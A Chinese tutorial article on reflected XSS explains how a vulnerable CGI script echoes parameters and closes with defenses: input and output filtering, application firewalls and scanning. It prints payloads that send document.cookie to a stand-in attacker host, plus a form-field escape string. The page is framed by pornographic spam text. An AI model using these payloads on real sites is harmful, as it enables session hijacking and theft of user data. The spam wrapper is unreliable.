成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Web 2.0應用安全深入解析:企業級Web應用安全解決方案

安全 應用安全
跨站腳本攻擊(cross-site scripting,簡稱XSS),是黑客用來潛入 Web 應用程序的最普遍的應用程序層攻擊之一。XSS 是針對特殊 Web 站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全威脅。

在跨站腳本攻擊中會發生什么

跨站腳本攻擊(cross-site scripting,簡稱XSS),是黑客用來潛入 Web 應用程序的最普遍的應用程序層攻擊之一。XSS 是針對特殊 Web 站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全威脅。大部分網站攻擊只涉及兩個群體:黑客和 Web 站點,或者黑客和客戶端受害者。與那些攻擊不同的是,XSS 攻擊同時涉及三個群體:黑客、客戶端和 Web 站點。

XSS 攻擊的目的是盜走客戶端 cookies,或者任何可以用于在 Web 站點確定客戶身份的其他敏感信息。手邊有了合法用戶的標記,黑客可以繼續扮演用戶與站點交互,從而冒充用戶。舉例來說,在對一個大型公司的調查中表明,利用 XSS 攻擊窺視用戶的信用卡號碼和私有信息是可能的。這是通過利用 Web 站點的訪問特權,在受害者(客戶端)瀏覽器上運行惡意的 JavaScript 代碼來實現的。這些是非常有限的 JavaScript 特權,除了與站點相關的信息,一般不允許腳本訪問其他任何內容。重點強調的是,雖然 Web 站點上存在安全漏洞,但是 Web 站點從未受到直接傷害。但是這已經足夠讓腳本收集 cookies,并且將它們發送給黑客。因此,黑客獲得 cookies 并冒充受害者。

XSS 技術的深入解析

讓我們調用受攻擊的站點,傳統的 XSS 攻擊的核心處位于脆弱的站點中的脆弱的腳本。這些腳本讀取部分 HTTP 請求(通常是參數,但有時也有 HTTP 頭域或路徑),并且在首次不加密的情況下全部或部分地將其回送給響應頁面(因而,不確保它不包含 JavaScript 代碼或 HTML 標簽)。因此,假設該腳本名為 welcome.cgi,其參數為 name。可以通過以下方式進行操作:

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0

Host: www.vulnerable.site

響應是:

<HTML>

<Title>Welcome!</Title>

Hi Joe Hacker <BR>

Welcome to our system

...

</HTML>

這是怎樣被盜用的呢?黑客設法引誘受害客戶點擊他們提供給用戶的鏈接。這是一個精心設計且蓄含惡意的鏈接,誘使受害者的 Web 瀏覽器訪問站點(www.vulnerable.site),并調用入侵腳本。該腳本的數據里包含了用于非法訪問客戶端瀏覽器為 www.vulnerable.site 站點所存儲 cookies 的 JavaScript。這是允許的,因為客戶端瀏覽器“運行過”來自 www.vulnerable.site 的 JavaScript,并且 JavaScript 安全模型允許來自特殊站點的腳本訪問屬于該站點的 cookies。

這樣的鏈接如下:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>

受害者點擊鏈接之后將生成對 www.vulnerable.site 的請求,如下所示:

GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0

Host: www.vulnerable.site ...

脆弱的站點的響應是:

<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>

<BR> Welcome to our system ...

</HTML>

受害者客戶端的瀏覽器將把該響應解釋為包含一段 JavaScript 代碼的 HTML 頁面。當執行時,該代碼被允許訪問所有屬于 www.vulnerable.site 的 cookies。因此,它將在客戶端瀏覽器中彈出一個窗口,顯示屬于 www.vulnerable.site 的所有客戶端 cookies。

當然,真正的惡意攻擊包含了將這些 cookies 發送給黑客的操作。對此,黑客可能建立 Web 站點(www.attacker.site)并使用腳本來接收 cookies。替代彈出窗口,黑客會書寫訪問 www.attacker.site 的 URL 的代碼,從而調用接收 cookie 的腳本,其參數設置為被竊取的 cookies。這樣,黑客可以從 www.attacker.site 服務器上獲得 cookies。

惡意的鏈接會是:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open

("http://www.attacker.site/collect

.cgi?cookie="%2Bdocument.cookie)</script>

響應頁面看起來像這樣:

<HTML> <Title>Welcome!</Title> Hi

<script>window.open("http:// www.2cto.com /collect.cgi?cookie="+document.cookie)</script>

<BR>

Welcome to our system ... </HTML>

加載該頁面的瀏覽器會立即執行內嵌的 JavaScript,并向 www.attacker.site 中的 collect.cgi 腳本發送請求,并附帶著瀏覽器已經擁有的 www.vulnerable.site 的 cookies 的值。這樣就泄漏了客戶端所擁有的 www.vulnerable.site 的 cookies。這將允許黑客冒充受害者。客戶的隱私就完全被破壞了。

注意:

引發 JavaScript 彈出窗口的出現通常足夠說明該站點容易受到 XSS 攻擊。如果可以調用 JavaScript Alert 方法,那么通常沒理由 window.open 調用不成功。這就是為什么大部分 XSS 攻擊的實例使用 Alert 方法,因為這很容易檢測其成功。

范圍和可行性

攻擊只會在受害者用于訪問站點(www.vulnerable.site)的同一個瀏覽器中發生。黑客需要強迫客戶端訪問惡意鏈接。這會以以下這些方式進行:

黑客發送包含強迫瀏覽器訪問該鏈接的 HTML 頁面的電子郵件消息。這要求受害者使用 HTML 有效的電子郵件客戶端,并且客戶端的 HTML 閱讀器是用于訪問 www.vulnerable.site 的同一個瀏覽器。

客戶端訪問可能受黑客運作的站點,其中的圖片鏈接或其他激活的 HTML 強迫瀏覽器訪問該鏈接。再次聲明,必須要求瀏覽器與訪問該站點和 www.vulnerable.site 的是同一個瀏覽器。

惡意的 JavaScript 可以訪問任何下列信息:

瀏覽器維護的(www.vulnerable.site 的)永久 cookies。

瀏覽器實例維護的(www.vulnerable.site 的)RAM cookies,但只有當最近瀏覽 www.vulnerable.site 時發生。

為 www.vulnerable.site 打開的其他窗口的名稱。

可以通過當前的 DOM 訪問的任何信息(如值、HTML 代碼,等等)。

身份識別、驗證和授權標志通常以 cookies 形式維護。如果這些 cookies 是永久的,那么即使不在訪問 www.vulnerable.site 的時候使用瀏覽器,受害者也是易受攻擊的。然而,如果 cookies 是臨時的,例如 RAM cookies,那么客戶端必須處于訪問 www.vulnerable.site 的會話中。

身份識別標志的另一種可能的實現是通過 URL 參數。在這種情況下,可以用這種方式使用 JavaScript 訪問其他窗口(假設帶有必要的 URL 參數的頁面的名稱為 foobar):

<script>var victim_window=open(",'foobar');alert('Can access:' +victim_window.location.search)</script>

跨站點腳本攻擊的多種情形

除了 <SCRIPT>,使用其他 HTML 標簽來運行 JavaScript 也是可能的。事實上,同樣可能的是,惡意的 JavaScript 代碼存儲在另一個服務器上,并強迫客戶端下載該腳本并執行它,如果要運行許多代碼,或者代碼中包含特殊字符時,這是很有用。

關于這些可能性的一些情形:

除了 <script>...</script>,黑客可以使用 <img src="javascript:...">。這對于過濾 <script> HTML 標簽的站點來說很好用。

除了 <script>...</script>,還可以使用 <script src="http://...">。這對于 JavaScript 代碼過長,或者其中包含了禁止字符時的情況是很好用的。

有時候,響應頁面中內嵌的數據處于非自由的 HTML 環境中。在這種情況下,首先必要的是“逃”到自由的環境中,然后附加 XSS 攻擊。舉例來說,如果以 HTML 表單字段的默認值注入數據:

<input type=text name=user value="...">

那么在數據的開頭必需包含 "> ,從而逃到自由的 HTML 環境中。數據可能是:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=

"+document.cookie)</script>

結果得到的 HTML 是:

<input type=text name=user value=""><script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">

執行傳統的 XSS 攻擊的其他方式

到此為止,我們已經看到 XSS 攻擊可以出現在用腳本回送響應的 GET 請求的參數中。但是也可以用 POST 請求實現攻擊,或者利用 HTTP 請求的路徑組件 —— 甚至使用一些 HTTP 頭(例如 Referer)。

特別是,當錯誤頁面返回錯誤的路徑時,路徑組件就有用了。在這種情況下,包含在該路徑中的惡意腳本經常都會執行。已發現許多 Web 服務器都容易受到這種攻擊。

什么出了問題?

很重要的是要知道,雖然 Web 站點不直接受到這種攻擊的影響(站點繼續正常工作,惡意代碼不在站點上執行,不會出現 DoS 情況,并且數據不直接受控,或從站點上讀取),但是它仍舊是站點向其訪問者或客戶端提供的隱私保護機制中的缺陷。這就像站點使用薄弱的安全標志(security token)部署應用程序,借此,黑客可以猜出客戶的安全標志并冒充客戶。

應用程序中的脆弱點是不管參數值是什么都回送參數的腳本。好的腳本確保參數的格式是適當的,包含合理的字符,等等。有效的參數通常沒有合理的理由包含 HTML 標簽或 JavaScript 代碼,可靠起見,應該在這些內容嵌入響應之前,或者在應用程序中處理這些內容之前,將它們從參數中去掉。

如何保護站點不受 XSS 攻擊

用這三種方式可以保護站點不受 XSS 攻擊:

1. 執行內部的輸入過濾(有時候稱為輸入清潔設備)。對于內部書寫的每個腳本中的每個用戶輸入 —— 參數或 HTTP 頭,都應該應用高級的 HTML 標簽(包括 JavaScript 代碼)過濾。舉例來說,來自之前的案例研究中的 welcome.cgi 腳本在解碼 name參數之后,應該過濾 <script> 標簽。該方法有一些嚴重的不利因素:

◆它要求應用程序的編程人員非常精通安全。

◆它要求編程人員覆蓋所有可能的輸入來源(查詢參數、POST 請求的 body 參數、HTTP 頭)。

◆它不能抵御第三方腳本或服務器中的安全漏洞。舉例來說,它不能防御 Web 服務器錯誤頁面中的問題(通常顯示了資源的路徑)。

2. 執行“輸出過濾”,換句話說,當發回給瀏覽器時過濾用戶數據,而不是當被腳本接收時。一個很好的示例是通過一個腳本將輸入數據插入到數據庫中,然后再從數據庫呈現數據。在這種情況下,重要的是不向原始的輸入字符串應用過濾,而只向輸出版本應用過濾。這種方法的缺陷類似于對輸入過濾的缺陷。

3. 通過安裝第三方應用程序防火墻,防火墻在 XSS 攻擊到達 Web 服務器和易受攻擊的腳本之前攔截它們,并阻塞它們。不論是來自內部應用程序的腳本或路徑、第三方腳本,或根本不描述資源的腳本(舉例來說,用來引起來自服務器的 404 頁面響應的腳本),應用程序防火墻都可以以一般的方式覆蓋所有輸入方法(包括路徑和 HTTP 頭)。對于每個輸入源,應用程序防火墻根據各種 HTML 標簽模式和 JavaScript 模式檢查數據。如果匹配成功,就拒絕該請求,惡意的輸入不會到達服務器。

檢查您的站點是否處于 XSS 攻擊保護的方法

檢查站點免于遭受 XSS 攻擊是加強站點安全保護的必然結論。正如保護站點免于遭受 XSS 攻擊一樣,檢查站點的確安全也可以通過手工完成(硬方法),或利用自動的 Web 應用程序安全漏洞評估工具,它減輕了檢查的負擔。該工具爬遍站點,然后根據嘗試參數、頭,和路徑找到的所有腳本,運行其知道的所有變化。在這兩種方法中,用盡可能多的方式檢查對應用程序的每個輸入(所有腳本的參數、HTTP 頭、路徑)。如果響應頁面包含瀏覽器可以執行的 JavaScript 代碼,那么 XSS 安全漏洞就已顯露出來。舉例來說,發送此文本:

<script>alert(document.cookie)</script>

對每個腳本的每個參數(通過允許 JavaScript 的瀏覽器暴露出最簡單類型的 XSS 安全漏洞),如果將文本解釋為 JavaScript 代碼,那么瀏覽器將彈出 JavaScript Alert 窗口。當然,還有很多其他情形,因此,只測試這種情形是不夠的。如您已經很了解的話,很可能將 JavaScript 注入請求的各種字段中:參數、HTTP 頭,和路徑。盡管,在一些情況下(特別是 HTTP Referer 頭),很難利用瀏覽器執行攻擊。

總結

跨站腳本攻擊是黑客用來潛入 Web 應用程序的最普遍的應用程序層攻擊之一,并且是最危險的手段之一。它是針對特殊 Web 站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全問題。不幸的是,如本文所闡述的,這種攻擊經常在無需了解客戶或被攻擊組織情況的前提下就可以實現。

要防止 Web 站點受到這些惡意行為的攻擊,至關重要的是,組織要實現在線和脫機的安全策略。這包括使用能夠自動化測試出站點中所有普遍的 Web 安全漏洞,和具體應用程序的安全漏洞(例如跨站腳本)的自動化安全漏洞評估工具。對于全面的在線防衛,同樣至關重要的是安裝可以檢測并抵御任何對保存在 Web 服務器上,或其背后的代碼和內容實施控制的防火墻應用程序。

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2011-02-15 11:46:41

2009-11-23 20:16:25

ibmdwRational

2011-01-21 09:55:07

2010-05-11 11:42:19

2010-05-06 16:02:26

2011-12-06 14:44:02

iPad企業級解決方案

2012-09-22 15:13:31

2011-06-21 09:01:02

2011-10-14 10:50:02

2015-06-24 16:38:24

2012-03-05 12:33:18

2009-07-30 16:02:53

2010-05-30 21:31:03

2009-08-26 10:49:54

2013-04-09 14:52:36

2010-04-07 08:55:00

OSGiSpring

2011-03-25 13:38:58

2010-05-31 14:31:51

2011-03-25 13:35:36

2012-10-09 14:45:32

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品久久久久久久一区探花 | 999久久久 | 97久久超碰| 九九热精品在线 | 成人在线中文字幕 | 在线视频成人 | 7777久久| 久久久精品久 | av资源在线看 | 成人午夜电影在线观看 | 成人教育av | 成人欧美一区二区三区在线播放 | 在线激情视频 | 久久人人国产 | h片在线免费看 | 亚洲精品成人网 | 精品中文在线 | 久久午夜剧场 | 成人国产在线观看 | 91精品久久久久久久久久入口 | 精品一区二区三区视频在线观看 | 亚洲精品一区二区三区四区高清 | 中文字幕视频在线观看免费 | 免费在线观看黄网站 | 精品在线99| 一区二区三区四区免费观看 | 久婷婷 | 日本久久综合 | 激情五月综合网 | 天天操天天插天天干 | 欧美在线a| 黄网站在线观看 | 一区二区在线 | 日韩在线免费看 | 日日夜夜精品视频 | 亚洲精品一二三区 | 超碰在线免费公开 | 亚洲精品美女视频 | 亚洲a一区二区 | 在线看av网址 | 中文在线一区二区 |